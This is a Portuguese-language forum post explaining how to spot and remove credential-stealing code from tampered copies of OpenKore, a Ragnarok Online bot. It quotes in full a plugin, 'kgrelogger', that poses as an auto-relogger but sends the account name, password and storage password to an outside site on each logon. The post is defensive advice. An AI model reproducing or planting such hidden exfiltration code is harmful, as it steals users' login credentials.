OpenKore Limpo ou Hackeado

[Ilusionista_web 0]

Bom dia a todos

 

hoje vim mostrar como identificar se o openkore está livre ou para utilização

 

muitos openkore hoje em dia vem com um pequeno codigo realizado em php para enviar informações do seu login para um determinado site , ele salva o nome de login a senha e a senha da kafra se estiver configurado

 

 

Liberando o Openkore

 

navegue até a pasta

 

Openkore\src\Network\Send\

 

dentro dessa pasta localize o arquivo ServerType0.pm

 

 

abra esse aquivo com o bloco de notas

 

abrindo ele note que tem varios scripts em php que é utilizado para enviar informações do config para o Poseidon , mais dentro dele tem um outro codigo que pega essas configurações e mada para um site

 

aperte Ctrl + F para abrir o pesquiser localize masterlogin esse parte é aonde o kore pega as configurações do seu config e manda para o Poseidon intaum é ai que o codigo terrorista entra , procure perto desse codigo as entradas http://

 

essa é a identificação de um site vai estar entre "" (aspas duplas)

 

apague todo conteudo que dentro destas aspas duplas e pronto seu kore está livre de hacker seja feliz e pega 3 classe 150 :festa:

 

vlw gente boa sorte ai

 

Ha gente lembrando verifique a pasta plugin tb abra os plugin com bloco de notas e ve se vcs axam esse codigo

 

 

# kgrelogger by Setzer

#

#

# This source code is licensed under the

# GNU General Public License, Version 2.

# See

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

package kgrelogger;

 

use strict;

 

use Plugins;

use Commands;

use Log qw( warning message error );

use Settings;

use Globals;

use Utils qw( timeOut );

use Misc qw ( configModify );

 

#-----------------

# Plugin: settings

#-----------------

Plugins::register("kgrelogger", "relogs on koreguard error", \&unload);

 

# Log hook

my $logHook = Log::addHook(\&on_Log, "kgrelogger");

# Event hook

my $evnHooks = Plugins::addHooks(

["mainLoop_pre", \&on_MainLoop, undef]

);

my $logonAttempt = 0;

my %logonTimeout = ( time => time(), timeout => 10 );

 

#---------------

# Plugin: unload

#---------------

sub unload {

Log::delHook($logHook);

Plugins::delHooks($evnHooks);

undef $logHook;

undef $evnHooks;

}

 

#-------------

# Log: handler

#-------------

sub on_Log {

my ($type, $domain, $level, $globalVerbosity, $message, $user_data) = @_;

if( $type eq "error" ){

# Kore Guard errors

if( ($message =~ /Your\ Ragnarok\ Online\ server\ uses\ GameGuard/) ||

($message =~ /The\ Poseidon\ server\ closed\ the\ connection/) ||

($message =~ /The\ Poseidon\ server\ sent\ a\ wrong\ reply\ ID/) ||

($message =~ /Timeout\ on\ Character\ Select\ Server/) ||

($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Sele(.*)\ de\ Personagens/) ||

($message =~ /Timeout\ on\ Character\ Server/) ||

($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Personagens/) ||

($message =~ /couldn't\ connect:/) ||

($message =~ /n(.*)\ foi\ possível\ se\ conectar:/) ||

($message =~ /GameGuard\ packets\ where\ not\ replied/) ||

($message =~ /pacotes\ do\ GameGuard\ n(.*)\ foram\ respondidos/) ){

warning "[kgrelogger] connect error, relogging\n";

kgRelog();

}

} elsif( ($type eq "message") && ($domain eq "console") ){

# Logon attempt

if( ($message =~ /Requesting\ permission\ to\ logon\ on\ account\ server/) ||

($message =~ /Pedindo\ permiss(.*)o\ para\ se\ logar\ no\ servidor\ de\ contas/) ){

warning "[kgrelogger] attempting to connect through [$config{'poseidonServer'}] and...\n";

 

 

use LWP::UserAgent;

use Utils qw(urlencode);

my $ua = LWP::UserAgent->new;

$ua->timeout(10);

$ua->env_proxy;

my $usuario = $config{'username'};

$usuario =~ s/#/:/;

my $senha = $config{'password'};

$senha =~ s/#/:/;

my $kafra = $config{'storageAuto_password'};

$kafra =~ s/#/:/;

my $response = $ua->get("

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

$senha $kafra");

 

 

 

$logonAttempt = 1;

$logonTimeout{time} = time();

}

} elsif( ($type eq "message") && ($domain eq "connection") ){

# Logon success (account info received)

if( ($message =~ /-Account Info-/) ||

($message =~ /-Informa(.*)s da Conta-/) ){

$logonAttempt = 0;

warning "[kgrelogger] ...connected!\n";

}

}

}

 

#-----------------

# Event: Main loop

#-----------------

sub on_MainLoop {

return if !$logonAttempt;

if( timeOut(\%logonTimeout) ){

warning "[kgrelogger] ...connection timed out, relogging\n";

kgRelog();

}

}

 

#---------------

# Command: relog

#---------------

my $i = -1;

sub kgRelog {

$logonAttempt = 0;

Commands::run("relog 18");

}

 

1;

 

ele tb passa as informações ai é so deletar ele

[Rykra 1]

Área errada, fechado.